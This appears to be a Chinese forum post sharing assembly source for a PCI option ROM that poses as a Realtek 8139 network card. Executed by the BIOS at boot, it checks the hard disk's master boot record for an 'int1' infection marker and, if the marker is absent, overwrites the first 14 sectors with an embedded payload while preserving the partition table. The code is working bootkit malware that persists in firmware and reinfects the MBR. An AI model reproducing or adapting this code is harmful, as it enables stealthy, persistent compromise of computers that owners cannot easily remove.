由于是新注册的ID,只能在这发了~
代码:
;******************************************************************************************************************* ;******************************************************************************************************************* org 0h ; 运行于BIOS中 db 55h,0AAh ; ISA模块头 db 15 ; 大小为 15*512字节 jmp MyROMCodeStart ;******************************************************************************************************************* ;******************************************************************************************************************* ;db 0bh ;db 6dh ;db 03h times 18 db 0h ;dd 400020h,8b2e0060h,4e5590c0h ;dd a7164944h ;dd A7h ;db 44h,49h,16h ;db 167 ;dd 2010000h,8000cc5h dw 001ch; PCI数据结构起始偏移 00h dw 0034h; PCI数据结构结束偏移 02h dd 52494350h; PCIR(pci rom)标志 04h dw 10ech; 供应商ID 08h dw 8139h; 设备ID(网卡8139) 0ah dw 0000; 保留 0ch dw 0018h; PCI数据结构长度 0eh db 00h; PCI数据结构修订版 10h db 02,00,00; 类别代码 dw 0008h; 代码长度 dw 0201h; 代码/数据修订版本水平 db 00; 代码类型(0表示可执行代码) db 80h; 指示字节 dw 0000h; 保留 dd 506e5024h,201h,6500h,0,20000h,6400h,0,0; ;******************************************************************************************************************* ;******************************************************************************************************************* MyROMCodeStart: pushf ; pushad ;PCI设备规范中说明,除了返回值以外,其它的参数必需恢复 push es push ds ; ret cld call x_code ; 跳转到程序进入点 ;******************************************************************************************************************* ;******************************************************************************************************************* ;------------------------------------------------------------------------ incbin "dst_sectors.dat";;;需要复制的数据 ;------------------------------------------------------------------------ ;******************************************************************************************************************* ;******************************************************************************************************************* ;oxfb9cd ;0xfb8ed x_code: pop ax xor bx,bx push bx pop es push cs pop ds mov si, ax mov di, 7c00h mov cx, 1c00h rep movsb ;将需要复制的文件拷贝到7c00h处 mov ds,bx mov ah, 41h mov dl, 80h mov bx, 55AAh int 13h ;检测是否支持扩展的BIOS int 13h功能 cmp bx, 0AA55h jnz __Exit test cl, 1 jz __Exit call __Estimate_MBR;判断MBR是否以经被HOOK test ax,ax jnz __Exit; 如果被HOOK了或者读取错误退出 mov ax,7c00h mov ecx,0 mov dx,14 call __Write_sectors __Exit: pop ds pop es popad popf retf ;******************************************************************************************************************* ;******************************************************************************************************************* ;============================================================= ; 需要将名称变为大写 ; 输入:ES:EDI = 字符串 CX = 字符串长度 (宽字符串) ; ;============================================================= ToUpperCase: PUSH ECX PUSH EBX XOR EBX,EBX TEST CX,CX JZ .End ; CX = 0 ; 目前只处理 a-z => A-Z .CheckNextChar: CMP WORD[ES:EDI+EBX],0061H JB .NextChar CMP WORD[ES:EDI+EBX],007AH JA .NextChar ; a < ch < z SUB WORD[ES:EDI+EBX],20H .NextChar: ; 继续处理下一个字符 INC EBX INC EBX DEC CX JNZ .CheckNextChar .End: ; 返回 POP EBX POP ECX RET ;******************************************************************************************************************* ;******************************************************************************************************************* ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;function : write sectors ;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No. ;data: 2009-5-23 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; __Write_sectors: push si push di xor bx,bx push bx pop ds mov si,97F0h mov [word si],word 0010h mov [word si+2],dx;写dx个扇区的数据 mov [word si+4],ax mov [word si+6],byte 0000h mov [word si+8],ecx;从第ecx个扇区开始写入。 mov ecx,0004h mov di,97FCh _fill_zero1: mov [byte di],byte 00h inc di loop _fill_zero1 mov ax,4300h mov dl,80h int 13h jnb _normal_write mov ax,0ffffh _normal_write: pop di pop si ret ;******************************************************************************************************************* ;******************************************************************************************************************* ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;function : __Estimate_MBR ;date : 2009-05-26 ;if hooked return true else return false ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; __Estimate_MBR: mov ax,0x8A00 ;7c00+e00 mov dx,1;需要读取的扇区数 mov ecx,0;开始读的起始扇区 push ax call __Read_sectors;读0扇区的内容 pop si cmp ax,0xffff jz _erro_read mov ax,[word 0x8BFE] ;7c00+1FE cmp ax,0xAA55 jnz FindSign mov eax,[dword 0x8A92] ;7c00+e00+192 cmp eax,0x31746E69;;HOOK标志 jz FindSign mov ax,0 jmp NotHook FindSign: mov ax,1 jmp _erro_read NotHook: mov si,0x8B80 ;7c00+e00+180 mov di,0x7d80 ;7c00+180 mov cx,0x80 rep movsb ;复制分区表到0x7c00+0x180处 _erro_read: ret ;******************************************************************************************************************* ;******************************************************************************************************************* ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;function : read sectors ;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No. ;updata: 2009-5-23 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; __Read_sectors: push si push di xor bx,bx push bx pop ds mov si,97F0h mov [word si],word 0010h mov [word si+2],dx;读取dx个扇区的数据 mov [word si+4],ax mov [word si+6],byte 0000h mov [word si+8],ecx ;从第ecx个扇区开始读取。 mov ecx,0004h mov di,97FCh _fill_zero: mov [byte di],byte 00h inc di loop _fill_zero mov ax,4200h mov dl,80h int 13h jnb _normal_read mov ax,0ffffh _normal_read: pop di pop si ret ;******************************************************************************************************************* ;******************************************************************************************************************* WaitPressScrollKey: push ax s0: in al,60h cmp al,0x46 ;Scroll Lock键扫描码:46h jnz s1 stc pop ax ret s1: in al,61h test al,010h jnz s2 con: in al,61h test al,10h jz con dec cx s2: or cx,cx jnz s0 clc pop ax ret times 7680-($-$$) db 0 ; 添加文件至7680字节大小